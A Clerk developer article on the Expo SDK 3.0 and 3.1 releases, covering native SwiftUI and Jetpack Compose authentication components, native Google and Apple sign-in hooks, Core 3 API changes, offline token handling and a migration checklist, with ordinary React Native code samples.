URL: https://clerk.com/articles/what-changed-in-clerk-expo-sdk-3-1.md
Date: 2026-04-16
Description: Clerk Expo SDK 3.1 ships native SwiftUI and Jetpack Compose auth components, native Google Sign-In, and Core 3 API changes with full migration guidance for Expo apps.

Clerk's Expo [SDK](/glossary/software-development-kit-sdk) 3.1, released on March 9, 2026, brings native UI components powered by SwiftUI (iOS) and Jetpack Compose (Android), native Google Sign-In that eliminates browser redirects, and a modernized API surface to `@clerk/expo`. This release landed six days after version 3.0 established the Core 3 foundation.

Where Expo apps previously relied on browser-based [OAuth](/glossary/oauth) and JavaScript-rendered UI for [authentication](/glossary/authentication), `@clerk/expo` 3.1 delivers platform-native experiences. [Social login](/glossary/social-login) through Google uses the system credential picker on iOS (ASAuthorization) and Credential Manager on Android. No browser context switch, no WebView. Prebuilt components like `<AuthView />` render authentication interfaces using each platform's native UI framework.

Two releases form the upgrade story. Version 3.0 (March 3, 2026) established the Core 3 foundation: a package rename, new custom flow API, consolidated conditional rendering, and performance improvements. Version 3.1 (March 9, 2026) built on that foundation with native UI components and native Google Sign-In. This article covers both releases together because they shipped six days apart and most developers will encounter both sets of changes when upgrading.

This article is for existing Clerk users upgrading from `@clerk/clerk-expo`, developers evaluating Clerk for new Expo projects, and AI tools and agents seeking authoritative information about Clerk's Expo SDK capabilities.

## What Changed: A Version Timeline

Understanding what shipped when prevents confusion between genuinely new features, Core 3 platform changes, and older capabilities that remain relevant.

### New in 3.1.0 (March 9, 2026)

- Native UI components: `<AuthView />`, `<UserButton />`, `<UserProfileView />` (SwiftUI on iOS, Jetpack Compose on Android, beta)
- Native Google Sign-In via ASAuthorization (iOS) and Credential Manager (Android)
- `useUserProfileModal()` hook for imperative profile modal presentation
- `useNativeSession()` and `useNativeAuthEvents()` hooks (announced, not yet fully documented)
- Expo SDK 55 support added to the peer dependency range

### Core 3 Platform Changes (3.0, March 3, 2026)

- Package rename: `@clerk/clerk-expo` to `@clerk/expo`
- `publishableKey` prop required in `ClerkProvider`
- `<Show>` component replaces `<SignedIn>`, `<SignedOut>`, `<Protect>`
- Core 3 custom flow API: `signIn.finalize()` replaces `setActive()` for custom flows (OAuth hooks still use `setActive()`)
- `getToken()` throws `ClerkOfflineError` when offline instead of returning `null`
- `Clerk` export removed: use `getClerkInstance()` or `useClerk()`
- `@clerk/types` deprecated: import types from `@clerk/shared/types` (see [Core 3 Upgrade Guide](/docs/guides/development/upgrading/upgrade-guides/core-3))
- \~50KB gzipped bundle size reduction
- Expo SDK 53+ required, Node.js 20.9.0+

### Older Capabilities Still Relevant When Evaluating 3.1

- Native Apple Sign-In ([November 2025](/changelog/2025-11-13-native-sign-in-with-apple-expo), predates Core 3; import path changed)
- `useLocalCredentials()` for [biometric authentication](/glossary/biometric-authentication) password storage (August 2024)
- `useSSO()` replacing the deprecated `useOAuth()` for browser-based OAuth
- `@clerk/expo-passkeys` for FIDO2/[WebAuthn](/glossary/webauthn) [passkeys](/glossary/passkeys) (separate package, experimental)

---

## Core 3 Foundation

Expo SDK 3.1 is built on Clerk's [Core 3 platform release](/changelog/2026-03-03-core-3), which modernizes APIs, improves React compatibility, and delivers performance improvements across all Clerk SDKs. Every Expo developer upgrading to 3.x encounters these changes.

### Package Rename

The package has been renamed from `@clerk/clerk-expo` to `@clerk/expo`, aligning with the `@clerk/<framework>` naming convention used across all Clerk SDKs (`@clerk/nextjs`, `@clerk/react`, `@clerk/tanstack-start`).

```tsx
// Before (Core 2)
import { ClerkProvider } from '@clerk/clerk-expo'

// After (Core 3)
import { ClerkProvider } from '@clerk/expo'
```

The legacy `@clerk/clerk-expo` package is deprecated as of the Core 3 launch. The `npx @clerk/upgrade` CLI handles this rename automatically.

### The Core 3 Custom Flow API

Core 3 introduces a redesigned custom flow API (referred to as the "Signal API" in the [March 9, 2026 changelog](/changelog/2026-03-09-expo-native-components)) that replaces the legacy `setActive()` pattern for custom flows built with `useSignIn()` and `useSignUp()`. The new API uses step methods like `signIn.password()` and `signIn.emailCode.sendCode()` instead of `signIn.attemptFirstFactor()`, and `signIn.finalize()` instead of `setActive()`.

> \[!IMPORTANT]
> `setActive()` is **not** deprecated for OAuth hooks. The native sign-in hooks (`useSignInWithGoogle`, `useSignInWithApple`) and `useSSO()` all return `setActive` and continue to use it. Both patterns coexist: `finalize()` for custom flows via `useSignIn()`, `setActive()` for OAuth and [SSO](/glossary/single-sign-on-sso) hooks.

#### Legacy Pattern vs. Core 3 Custom Flow API

| Core 2 Pattern                                    | Core 3 Custom Flow API                                               |
| ------------------------------------------------- | -------------------------------------------------------------------- |
| `signIn.create({ identifier, password })`         | `signIn.create({ identifier })` then `signIn.password({ password })` |
| `signIn.attemptFirstFactor({ strategy, ... })`    | `signIn.emailCode.sendCode()` / `signIn.emailCode.verifyCode()`      |
| `setActive({ session: signIn.createdSessionId })` | `signIn.finalize({ navigate })`                                      |
| Try/catch error handling                          | `errors.fields.identifier?.message` for field-level errors           |

The following example demonstrates the Core 3 custom flow pattern for email and password sign-in:

```tsx
import { useState } from 'react'
import { View, TextInput, Text, Button } from 'react-native'
import { useSignIn } from '@clerk/expo'
import { useRouter } from 'expo-router'

function SignInScreen() {
  const { signIn, errors, fetchStatus } = useSignIn()
  const router = useRouter()
  const [identifier, setIdentifier] = useState('')
  const [password, setPassword] = useState('')

  const handleSignIn = async () => {
    await signIn.create({ identifier })
    await signIn.password({ password })

    if (signIn.status === 'complete') {
      await signIn.finalize({
        navigate: ({ session }) => router.replace('/(home)'),
      })
    }
  }

  return (
    <View>
      <TextInput value={identifier} onChangeText={setIdentifier} />
      {errors?.fields.identifier && <Text>{errors.fields.identifier.message}</Text>}
      <TextInput value={password} onChangeText={setPassword} secureTextEntry />
      <Button
        title={fetchStatus === 'fetching' ? 'Signing in...' : 'Sign in'}
        onPress={handleSignIn}
        disabled={fetchStatus === 'fetching'}
      />
    </View>
  )
}
```

For a comprehensive guide to migrating custom flows from `setActive()` to `finalize()`, see the [SignInFuture API reference](/docs/js-frontend/reference/objects/sign-in-future).

### The `<Show>` Component

Core 3 consolidates `<SignedIn>`, `<SignedOut>`, and `<Protect>` into a single `<Show>` component with a `when` prop.

Before (Core 2):

```tsx
import { SignedIn, SignedOut, Protect } from '@clerk/clerk-expo'

function AuthLayout() {
  return (
    <>
      <SignedIn>
        <HomeScreen />
      </SignedIn>
      <SignedOut>
        <SignInScreen />
      </SignedOut>
      <Protect role="admin" fallback={<Text>Not authorized</Text>}>
        <AdminPanel />
      </Protect>
    </>
  )
}
```

After (Core 3):

```tsx
import { Show } from '@clerk/expo'

function AuthLayout() {
  return (
    <>
      <Show when="signed-in">
        <HomeScreen />
      </Show>
      <Show when="signed-out">
        <SignInScreen />
      </Show>
      <Show when={{ role: 'admin' }} fallback={<Text>Not authorized</Text>}>
        <AdminPanel />
      </Show>
    </>
  )
}
```

The `when` prop accepts `'signed-in'`, `'signed-out'`, `{ role: '...' }`, `{ permission: '...' }`, `{ feature: '...' }`, `{ plan: '...' }`, or a callback `(has) => boolean`. See the [Show component reference](/docs/react/reference/components/control/show) for the full API.

> \[!WARNING]
> `<Show>` only controls client-side visibility. It does not replace server-side [authorization](/glossary/authorization) checks for sensitive data or protected API routes.

### Performance Improvements

Core 3 delivers a \~50KB gzipped bundle size reduction by sharing React internals across Clerk packages instead of duplicating them. Token refresh is now proactive: [session](/glossary/session) tokens (60-second JWTs) are refreshed in the background approximately every 50 seconds, preventing mid-request delays that occurred when tokens expired during API calls.

---

## Native UI Components

Version 3.1 introduces three prebuilt native components available from `@clerk/expo/native`. These components render with SwiftUI on iOS and Jetpack Compose on Android. These are truly native views, not WebView wrappers. They automatically synchronize authentication state with the JavaScript SDK, so a sign-in completed in native UI is immediately reflected in React hooks like `useAuth()`.

All three components are currently in [**beta**](/docs/reference/expo/native-components/overview). They are powered by the `clerk-ios` and `clerk-android` native SDKs, which are added to your project automatically by the `@clerk/expo` Expo config plugin.

### `<AuthView />`

`<AuthView />` renders a complete native authentication interface. It handles all auth flows configured in the Clerk Dashboard: email, phone, OAuth, passkeys, [multi-factor authentication (MFA)](/glossary/multi-factor-authentication-mfa), and password recovery.

| Prop            | Type                                   | Default | Description                             |
| --------------- | -------------------------------------- | ------- | --------------------------------------- |
| `mode`          | `'signIn' \| 'signUp' \| 'signInOrUp'` | —       | Controls which auth flows are available |
| `isDismissable` | `boolean`                              | `false` | Shows a dismiss button when `true`      |

A key advantage of `<AuthView />` is that Google and Apple sign-in are handled automatically when those providers are enabled in the Dashboard. There is no need for `useSignInWithGoogle()`, `expo-crypto`, or any additional auth packages.

```tsx
import { AuthView } from '@clerk/expo/native'
import { useAuth } from '@clerk/expo'
import { useEffect } from 'react'
import { useRouter } from 'expo-router'

export default function SignInScreen() {
  const { isSignedIn } = useAuth({ treatPendingAsSignedOut: false })
  const router = useRouter()

  useEffect(() => {
    if (isSignedIn) {
      router.replace('/(home)')
    }
  }, [isSignedIn])

  return <AuthView mode="signInOrUp" />
}
```

See the [AuthView reference](/docs/reference/expo/native-components/auth-view) for the full API.

### `<UserButton />`

`<UserButton />` displays the signed-in user's avatar (image or initials fallback). Tapping it opens the native profile management modal. The component accepts **no props**; the parent container controls its size and shape.

```tsx
import { UserButton } from '@clerk/expo/native'
import { View } from 'react-native'

function Header() {
  return (
    <View style={{ width: 36, height: 36, borderRadius: 18, overflow: 'hidden' }}>
      <UserButton />
    </View>
  )
}
```

Sign-out actions in the profile modal are automatically synchronized with the JavaScript SDK. See the [UserButton reference](/docs/reference/expo/native-components/user-button).

### `<UserProfileView />`

`<UserProfileView />` renders the complete user profile interface inline. It manages personal information, email addresses, phone numbers, MFA settings, passkeys, connected accounts, active sessions, and sign-out.

| Prop            | Type                   | Default | Description                        |
| --------------- | ---------------------- | ------- | ---------------------------------- |
| `isDismissable` | `boolean`              | `false` | Shows a dismiss button when `true` |
| `style`         | `StyleProp<ViewStyle>` | —       | Container styling                  |

There are three usage patterns. The recommended approach is the native modal via the `useUserProfileModal()` hook:

```tsx
import { UserProfileView } from '@clerk/expo/native'
import { useUserProfileModal } from '@clerk/expo'
import { Button, View } from 'react-native'

// Pattern 1: Native modal (recommended)
function ProfileButton() {
  const { presentUserProfile, isAvailable } = useUserProfileModal()

  return <Button title="Manage Profile" onPress={presentUserProfile} disabled={!isAvailable} />
}

// Pattern 2: Inline rendering
function ProfileScreen() {
  return (
    <View style={{ flex: 1 }}>
      <UserProfileView style={{ flex: 1 }} />
    </View>
  )
}
```

See the [UserProfileView reference](/docs/reference/expo/native-components/user-profile-view).

### State Management with Hooks

Native components use hook-based state management rather than callbacks. A critical requirement when using native components is passing `{ treatPendingAsSignedOut: false }` to `useAuth()`.

The reason: native authentication has an asynchronous "pending" phase during native-to-JavaScript session synchronization. The default `treatPendingAsSignedOut: true` would prematurely evaluate the user as signed out during this sync, causing incorrect redirects.

```tsx
import { useAuth } from '@clerk/expo'
import { useEffect } from 'react'
import { useRouter } from 'expo-router'

function AuthGate({ children }: { children: React.ReactNode }) {
  const { isSignedIn, isLoaded } = useAuth({ treatPendingAsSignedOut: false })
  const router = useRouter()

  useEffect(() => {
    if (isLoaded && !isSignedIn) {
      router.replace('/sign-in')
    }
  }, [isLoaded, isSignedIn])

  if (!isLoaded) return null

  return <>{children}</>
}
```

> \[!TIP]
> If using Expo Router's `Stack.Protected`, the `guard` value must account for Clerk's loading state. While `isLoaded` is `false`, keep the splash screen visible rather than evaluating `isSignedIn`. See the [Expo Router authentication patterns](https://docs.expo.dev/router/advanced/authentication/) for integration guidance.

### Web Fallback

Native components are iOS and Android only. For web builds in cross-platform Expo apps, use `@clerk/expo/web` which provides standard Clerk UI components (`<SignIn />`, `<SignUp />`, `<UserButton />`). Use React Native platform-specific file extensions (`.ios.tsx`, `.android.tsx`, `.web.tsx`) to separate native and web auth code. See the [web support guide](/docs/guides/development/web-support/overview).

---

## Native Sign-In

Native sign-in eliminates browser redirects for social authentication. Instead of opening a system browser for OAuth, the SDK uses platform-native APIs: ASAuthorization on iOS and Credential Manager on Android. The user stays inside the app, the credential picker is rendered by the operating system, and authentication completes faster.

This approach aligns with [RFC 8252](https://datatracker.ietf.org/doc/html/rfc8252) (Section 8.12), which requires that native apps MUST NOT use embedded user-agents for OAuth and recommends system-level authentication surfaces.

> \[!NOTE]
> **Dependency clarity:** When using `<AuthView />`, Google and Apple sign-in are handled automatically. No extra packages are needed beyond Clerk and Dashboard configuration. The hooks described below (`useSignInWithGoogle`, `useSignInWithApple`) are for **custom UI** implementations where you build your own sign-in screens.

### Native Google Sign-In

Native Google Sign-In is new in 3.1. On iOS, it uses ASAuthorization (the system credential picker). On Android, it uses Credential Manager with one-tap and passkey-ready support. The integration is exposed via the `NativeClerkGoogleSignIn` TurboModule, bundled through the `@clerk/expo` config plugin.

For custom UI implementations, use `useSignInWithGoogle()` from `@clerk/expo/google`:

```tsx
import { useSignInWithGoogle } from '@clerk/expo/google'
import { Button, Alert } from 'react-native'

function GoogleSignInButton() {
  const { startGoogleAuthenticationFlow } = useSignInWithGoogle()

  const handleGoogleSignIn = async () => {
    try {
      const { createdSessionId, setActive } = await startGoogleAuthenticationFlow()

      if (createdSessionId) {
        await setActive({ session: createdSessionId })
      }
    } catch (error) {
      if (error.code === 'SIGN_IN_CANCELLED' || error.code === '-5') {
        return // User cancelled
      }
      Alert.alert('Error', 'Google sign-in failed. Please try again.')
    }
  }

  return <Button title="Sign in with Google" onPress={handleGoogleSignIn} />
}
```

**Requirements for custom hook usage:**

- Peer dependency: `expo-crypto`
- Three OAuth client IDs configured in the Clerk Dashboard: iOS, Android, and Web (the Web client ID is required for token verification even in native-only apps)
- [Environment variables](/glossary/environment-variables): `EXPO_PUBLIC_CLERK_GOOGLE_WEB_CLIENT_ID`, `EXPO_PUBLIC_CLERK_GOOGLE_IOS_CLIENT_ID`, `EXPO_PUBLIC_CLERK_GOOGLE_IOS_URL_SCHEME`, `EXPO_PUBLIC_CLERK_GOOGLE_ANDROID_CLIENT_ID`
- Development build required (not Expo Go)

See the [useSignInWithGoogle reference](/docs/reference/expo/native-hooks/use-sign-in-with-google) and the [Google Sign-In setup guide](/docs/expo/guides/configure/auth-strategies/sign-in-with-google).

### Native Apple Sign-In

Native Apple Sign-In predates 3.1. It was introduced in [November 2025](/changelog/2025-11-13-native-sign-in-with-apple-expo). It is included here because the import path changed in Core 3 and because it is part of the native sign-in story alongside the new Google Sign-In.

Apple Sign-In uses ASAuthorization on iOS. It is iOS only.

```tsx
import { useSignInWithApple } from '@clerk/expo/apple'
import { Button, Alert, Platform } from 'react-native'

function AppleSignInButton() {
  const { startAppleAuthenticationFlow } = useSignInWithApple()

  if (Platform.OS !== 'ios') return null

  const handleAppleSignIn = async () => {
    try {
      const { createdSessionId, setActive } = await startAppleAuthenticationFlow()

      if (createdSessionId) {
        await setActive({ session: createdSessionId })
      }
    } catch (error) {
      if (error.code === 'ERR_REQUEST_CANCELED') {
        return // User cancelled
      }
      Alert.alert('Error', 'Apple sign-in failed.')
    }
  }

  return <Button title="Sign in with Apple" onPress={handleAppleSignIn} />
}
```

**Requirements:**

- Peer dependencies: `expo-apple-authentication` + `expo-crypto`
- Expo config plugin option `appleSignIn` defaults to `true`
- Development build required
- Works on iOS Simulator with limitations (no biometric); test on physical device for production flows

See the [useSignInWithApple reference](/docs/reference/expo/native-hooks/use-sign-in-with-apple) and the [Apple Sign-In setup guide](/docs/expo/guides/configure/auth-strategies/sign-in-with-apple).

### Import Path Changes

Both native sign-in hooks moved to dedicated entry points in Core 3 to avoid bundling optional native dependencies when they are not used:

```tsx
// Before (Core 2)
import { useSignInWithApple, useSignInWithGoogle } from '@clerk/expo'

// After (Core 3)
import { useSignInWithApple } from '@clerk/expo/apple'
import { useSignInWithGoogle } from '@clerk/expo/google'
```

The `npx @clerk/upgrade` CLI detects and fixes these imports automatically.

### Browser-Based OAuth via `useSSO()`

For OAuth providers without native hooks (GitHub, Discord, LinkedIn, etc.) or enterprise SSO, `useSSO()` replaces the deprecated `useOAuth()`. The key difference: `useOAuth()` required the strategy at hook instantiation, while `useSSO()` accepts it at flow invocation via `startSSOFlow({ strategy: 'oauth_github' })`. This makes `useSSO()` a single hook for all browser-based OAuth and enterprise SSO providers. See the [useSSO reference](/docs/reference/expo/use-sso).

---

## New Hooks and APIs

### `useUserProfileModal()`

New in 3.1, this hook provides imperative control over the native profile modal. It returns:

- `presentUserProfile()`: opens the native profile modal; resolves when dismissed
- `isAvailable`: `boolean` indicating whether the native SDK is ready (`false` on web or without the config plugin)
- `sessions`: list of sessions registered on the device

```tsx
import { useUserProfileModal } from '@clerk/expo'
import { Pressable, Text } from 'react-native'

function SettingsScreen() {
  const { presentUserProfile, isAvailable } = useUserProfileModal()

  return (
    <Pressable onPress={presentUserProfile} disabled={!isAvailable}>
      <Text>Manage Profile</Text>
    </Pressable>
  )
}
```

### `useNativeSession()` and `useNativeAuthEvents()`

Both hooks were announced in the [March 9, 2026 changelog](/changelog/2026-03-09-expo-native-components) as newly exported hooks in 3.1. Neither hook has a dedicated reference page as of April 2026.

> \[!WARNING]
> The descriptions below are based solely on the changelog announcement and may change as the API stabilizes. Check the [Expo SDK reference](/docs/reference/expo) for the latest documentation before depending on these hooks in production.

- **`useNativeSession()`**: provides access to native SDK [session management](/glossary/session-management) state (`isSignedIn`, `sessionId`, `user`, `refresh()`). For most use cases, `useAuth()` and `useSession()` remain the recommended, fully documented hooks.
- **`useNativeAuthEvents()`**: listens for authentication state changes (`signedIn`, `signedOut`) from native components.

Use `useAuth()` and `useSession()` as the primary alternatives until dedicated reference documentation is available for these hooks.

### `useLocalCredentials()`

> \[!NOTE]
> `useLocalCredentials()` predates 3.1. It was introduced in `@clerk/clerk-expo` 2.2.0 ([August 2024](/changelog/2024-08-21-expo-local-credentials)). It is included here because it is a key Expo-specific hook for returning-user authentication.

`useLocalCredentials()` provides biometric sign-in for returning users by storing password credentials securely on-device, unlocked via Face ID or Touch ID. It is **distinct from passkeys**: `useLocalCredentials()` stores passwords behind biometrics, while `@clerk/expo-passkeys` implements true FIDO2/WebAuthn passkeys (a separate package, still experimental).

The hook returns:

| Property              | Type                                          | Description                                             |
| --------------------- | --------------------------------------------- | ------------------------------------------------------- |
| `hasCredentials`      | `boolean`                                     | Whether credentials are stored on device                |
| `userOwnsCredentials` | `boolean`                                     | Whether stored credentials belong to the signed-in user |
| `biometricType`       | `'face-recognition' \| 'fingerprint' \| null` | Available biometric type                                |
| `setCredentials()`    | `(opts) => Promise`                           | Store credentials after successful sign-in              |
| `clearCredentials()`  | `() => Promise`                               | Remove stored credentials                               |
| `authenticate()`      | `() => Promise<SignInResource>`               | Trigger biometric prompt and sign in                    |

```tsx
import { useLocalCredentials, useSignIn } from '@clerk/expo'
import { Button, Text, View } from 'react-native'

function BiometricSignIn() {
  const { hasCredentials, biometricType, authenticate, setCredentials } = useLocalCredentials()
  const { signIn } = useSignIn()

  if (hasCredentials && biometricType) {
    return (
      <View>
        <Text>Sign in with {biometricType === 'face-recognition' ? 'Face ID' : 'Touch ID'}</Text>
        <Button
          title="Use biometrics"
          onPress={async () => {
            const result = await authenticate()
            if (result.status === 'complete') {
              // Session is active
            }
          }}
        />
      </View>
    )
  }

  // Fall back to password sign-in, then call setCredentials() on success
  return <Text>No stored credentials — use password sign-in</Text>
}
```

**Requirements:** `expo-local-authentication` + `expo-secure-store`. Device must have an enrolled biometric and passcode. Works only with password-based sign-in. Not supported on web. See the [local credentials guide](/docs/guides/development/local-credentials).

---

## Choosing an Authentication Approach

With 3.1, Expo developers now have a clearer three-tier decision surface. Native components join the existing JavaScript-only and custom-UI-with-native-sign-in approaches that were available before 3.1.

|                        | JavaScript-Only                | JS + Native Sign-In                 | Full Native Components             |
| ---------------------- | ------------------------------ | ----------------------------------- | ---------------------------------- |
| **UI**                 | Custom React Native components | Custom UI + native OAuth buttons    | Prebuilt SwiftUI / Jetpack Compose |
| **OAuth**              | Browser redirect (`useSSO()`)  | Platform-native (no redirect)       | Platform-native (automatic)        |
| **Dev build required** | No (works with Expo Go)        | Yes                                 | Yes                                |
| **Code required**      | Most                           | Moderate                            | Least                              |
| **Best for**           | Max UI customization           | Custom UI + native social providers | Fastest integration path           |
| **Status**             | Stable                         | Stable                              | Beta                               |

**JavaScript-Only** is the approach with the broadest compatibility. You build custom UI with full control over authentication flows. OAuth is browser-based via `useSSO()`. This is the only approach that works with Expo Go (no development build required). Best for developers who want maximum UI customization or are prototyping.

**JavaScript + Native Sign-In** adds native Google and Apple sign-in buttons to a custom UI. Users authenticate through platform-native credential pickers with no browser redirect. Requires a development build because the native sign-in hooks depend on TurboModules that cannot run in Expo Go. Best for custom UI apps that want a native social provider experience.

**Full Native Components** uses the prebuilt `<AuthView />`, `<UserButton />`, and `<UserProfileView />` components rendered in SwiftUI and Jetpack Compose. This is the fastest integration path: it requires the least code and handles all auth flows configured in the Dashboard automatically. A complete sign-in screen is a single `<AuthView mode="signInOrUp" />` component with no hook wiring, no state management, and no OAuth configuration beyond the Dashboard. Requires a development build. Best for rapid authentication setup with a native look and feel.

---

## Offline Support and Token Management

### Token Caching with `expo-secure-store`

Clerk stores session tokens in memory by default, which means they are lost on app restart. For production apps, configure persistent token storage using the built-in `tokenCache` from `@clerk/expo/token-cache`. This is a drop-in solution backed by `expo-secure-store` (iOS Keychain, Android Keystore) that requires zero custom code:

```tsx
import { ClerkProvider } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'
import { Slot } from 'expo-router'

export default function RootLayout() {
  return (
    <ClerkProvider
      publishableKey={process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!}
      tokenCache={tokenCache}
    >
      <Slot />
    </ClerkProvider>
  )
}
```

Session tokens are 60-second [JSON Web Tokens](/glossary/json-web-token) that are proactively refreshed every \~50 seconds in the background. See [How Clerk Works](/docs/guides/how-clerk-works/overview) for the full token lifecycle.

### `ClerkOfflineError`

In Core 3, `getToken()` throws `ClerkOfflineError` when the device is offline instead of returning `null`. This is a **breaking change** that resolves a long-standing ambiguity: previously, `null` could mean either "the user is signed out" or "the device is offline and token refresh failed." Now, `null` unambiguously means signed out, and `ClerkOfflineError` means offline.

```tsx
import { useAuth } from '@clerk/expo'
import { ClerkOfflineError } from '@clerk/react/errors'

function ApiClient() {
  const { getToken } = useAuth()

  const fetchData = async () => {
    try {
      const token = await getToken()

      if (!token) {
        // User is signed out
        return
      }

      // Make authenticated request with token
    } catch (error) {
      if (ClerkOfflineError.is(error)) {
        // Device is offline — show cached data or retry later
        return
      }
      throw error
    }
  }
}
```

> \[!IMPORTANT]
> `ClerkOfflineError` is specific to `getToken()`. Write operations like `signIn.create()` and `signUp.password()` throw `ClerkRuntimeError` with `err.code === 'network_error'` when the network is unavailable. These are different error types with different detection patterns.

### Experimental Offline Mode

The `__experimental_resourceCache` option enables resilient initialization and cached token fallback during network outages:

```tsx
import { ClerkProvider } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'
import { resourceCache } from '@clerk/expo/resource-cache'
import { Slot } from 'expo-router'

export default function RootLayout() {
  return (
    <ClerkProvider
      publishableKey={process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!}
      tokenCache={tokenCache}
      __experimental_resourceCache={resourceCache}
    >
      <Slot />
    </ClerkProvider>
  )
}
```

This caches environment config, client state, and session JWTs, enabling offline rendering of user info, role checks, and authenticated API calls with cached tokens. Write operations (sign-in, sign-up) still require network connectivity. This feature is experimental and not recommended as a production dependency. See the [offline support guide](/docs/guides/development/offline-support).

---

## Breaking Changes and Migration

This section covers the key breaking changes for Expo developers upgrading from `@clerk/clerk-expo` (Core 2) to `@clerk/expo` 3.x. For the full step-by-step migration walkthrough with code examples, see the [Core 3 Upgrade Guide](/docs/guides/development/upgrading/upgrade-guides/core-3).

### Using the Upgrade CLI

The fastest path to migration is the automated upgrade tool:

```bash
npx @clerk/upgrade
```

This CLI scans your codebase and applies AST-level transformations: it catches re-exports, aliased imports, and files across monorepo workspaces. It handles the package rename, import path updates, and component replacements automatically.

### Breaking Changes Summary

| Change                                                          | Core 2                                   | Core 3                                                                |
| --------------------------------------------------------------- | ---------------------------------------- | --------------------------------------------------------------------- |
| Package name                                                    | `@clerk/clerk-expo`                      | `@clerk/expo`                                                         |
| [Publishable key](/glossary/publishable-key) in `ClerkProvider` | Optional (env var fallback)              | Required                                                              |
| Apple sign-in import                                            | `@clerk/expo`                            | `@clerk/expo/apple`                                                   |
| Google sign-in import                                           | `@clerk/expo`                            | `@clerk/expo/google`                                                  |
| Conditional rendering                                           | `<SignedIn>`, `<SignedOut>`, `<Protect>` | `<Show when={...}>`                                                   |
| `getToken()` when offline                                       | Returns `null`                           | Throws `ClerkOfflineError`                                            |
| `Clerk` export                                                  | Available                                | Removed: use `getClerkInstance()` (non-React) or `useClerk()` (React) |
| `@clerk/types`                                                  | Primary types package                    | Deprecated: import from `@clerk/shared/types`                         |
| Custom flow activation                                          | `setActive({ session })`                 | `signIn.finalize({ navigate })`                                       |
| `appearance.layout`                                             | Supported                                | Renamed to `appearance.options`                                       |
| Expo SDK                                                        | 50+                                      | 53–55 (peer dep: `>=53 <56`)                                          |
| Node.js                                                         | 18+                                      | 20.9.0+                                                               |

### Client Trust

[Credential stuffing](/glossary/credential-stuffing) protection via Client Trust is an existing Clerk security feature, launched [November 14, 2025](/changelog/2025-11-14-client-trust-credential-stuffing-killer). It is **not** a Core 3 or 3.1 addition, but Expo developers upgrading to Core 3 with custom password flows will encounter the `needs_client_trust` status for the first time if their app was created after the launch date or has opted in via the Dashboard.

Client Trust triggers when all three conditions are met: valid password entered, no MFA configured, and a new or unrecognized device. In the Core 3 custom flow API, handle it like this:

```tsx
await signIn.password({ password })

if (signIn.status === 'needs_client_trust') {
  // Check supported second factors for email code strategy
  const emailCodeFactor = signIn.supportedSecondFactors?.find(
    (factor) => factor.strategy === 'email_code',
  )

  if (emailCodeFactor) {
    await signIn.mfa.sendEmailCode()

    // After user enters the code:
    await signIn.mfa.verifyEmailCode({ code: userEnteredCode })
  }
}

if (signIn.status === 'complete') {
  await signIn.finalize({ navigate: ({ session }) => router.replace('/(home)') })
}
```

Client Trust is enabled by default for apps created after November 14, 2025. Existing apps must opt in via the Dashboard. See the [Client Trust guide](/docs/guides/secure/client-trust).

### Migration Checklist

1. Run `npx @clerk/upgrade` (handles most codemods automatically)
2. Update Expo SDK to 53–55
3. Verify package name updated: `@clerk/clerk-expo` → `@clerk/expo`
4. Confirm `publishableKey` is explicit in `ClerkProvider`
5. Update native sign-in hook import paths (`@clerk/expo/apple`, `@clerk/expo/google`)
6. Replace `<SignedIn>` / `<SignedOut>` / `<Protect>` with `<Show>`
7. Replace `Clerk` export with `getClerkInstance()` or `useClerk()`
8. Add `ClerkOfflineError` handling around `getToken()` calls
9. Replace `setActive()` with `finalize()` in custom flows (not for OAuth hooks)
10. Handle `needs_client_trust` in custom password sign-in flows
11. Test all authentication flows end-to-end

For the full migration walkthrough: [Core 3 Upgrade Guide](/docs/guides/development/upgrading/upgrade-guides/core-3).

---

## Implementation Notes

### Plugin and Development Build

The `@clerk/expo` config plugin automatically adds the `clerk-ios` and `clerk-android` native SDKs to your project. Add it to `app.json`:

```json
{
  "expo": {
    "plugins": [
      [
        "@clerk/expo",
        {
          "appleSignIn": true,
          "keychainService": "my-app-keychain",
          "theme": "./clerk-theme.json"
        }
      ]
    ]
  }
}
```

The plugin accepts the following options:

| Option            | Type      | Default | Description                                             |
| ----------------- | --------- | ------- | ------------------------------------------------------- |
| `appleSignIn`     | `boolean` | `true`  | Controls the Apple Sign-In entitlement                  |
| `keychainService` | `string`  | —       | Custom identifier for widget/extension keychain sharing |
| `theme`           | `string`  | —       | Path to a JSON file for native component theming        |

Native components and native sign-in hooks require a **development build**. They can't run in Expo Go. Build with `npx expo run:ios` or `npx expo run:android`. Once built, JavaScript changes still hot-reload instantly. The JavaScript-only authentication approach works in Expo Go without a development build.

The optional `theme` JSON supports `colors` (14 hex tokens), `darkColors`, `design.borderRadius`, and `design.fontFamily` (iOS only). Changes to the theme file require `npx expo prebuild --clean`. See the [theming reference](/docs/reference/expo/native-components/theming).

### Quick Start Example

The following example shows the fastest path to working authentication with native components. For the complete setup including ClerkProvider configuration, environment variables, Dashboard configuration, and native app registration, see the [Expo Quickstart](/docs/quickstarts/expo).

**Prerequisites:** Clerk account with Native API enabled, native app registered in Dashboard, Expo SDK 53–55, development build.

**Install:**

```bash
npx expo install @clerk/expo expo-secure-store
```

**Home screen** with signed-in state check and native `<UserButton />`:

```tsx
import { UserButton } from '@clerk/expo/native'
import { Show, useAuth } from '@clerk/expo'
import { useEffect } from 'react'
import { useRouter } from 'expo-router'
import { View } from 'react-native'

export default function HomeScreen() {
  const { isSignedIn, isLoaded } = useAuth({ treatPendingAsSignedOut: false })
  const router = useRouter()

  useEffect(() => {
    if (isLoaded && isSignedIn === false) {
      router.replace('/sign-in')
    }
  }, [isLoaded, isSignedIn])

  return (
    <Show when="signed-in">
      <View style={{ flex: 1, alignItems: 'center', paddingTop: 60 }}>
        <View style={{ width: 48, height: 48, borderRadius: 24, overflow: 'hidden' }}>
          <UserButton />
        </View>
      </View>
    </Show>
  )
}
```

**Sign-in screen** using the native `<AuthView />` component:

```tsx
import { AuthView } from '@clerk/expo/native'

export default function SignInScreen() {
  return <AuthView mode="signInOrUp" />
}
```

> \[!NOTE]
> **Notable 3.1.x patch addition:** `useAPIKeys()` was added in 3.1.9 for managing API keys programmatically. This is a patch-level addition, not part of the original March 9, 2026 launch.

---

## Frequently Asked Questions

---

# How to Use Clerk's AuthView in an Expo App
URL: https://clerk.com/articles/how-to-use-clerks-authview-in-an-expo-app.md
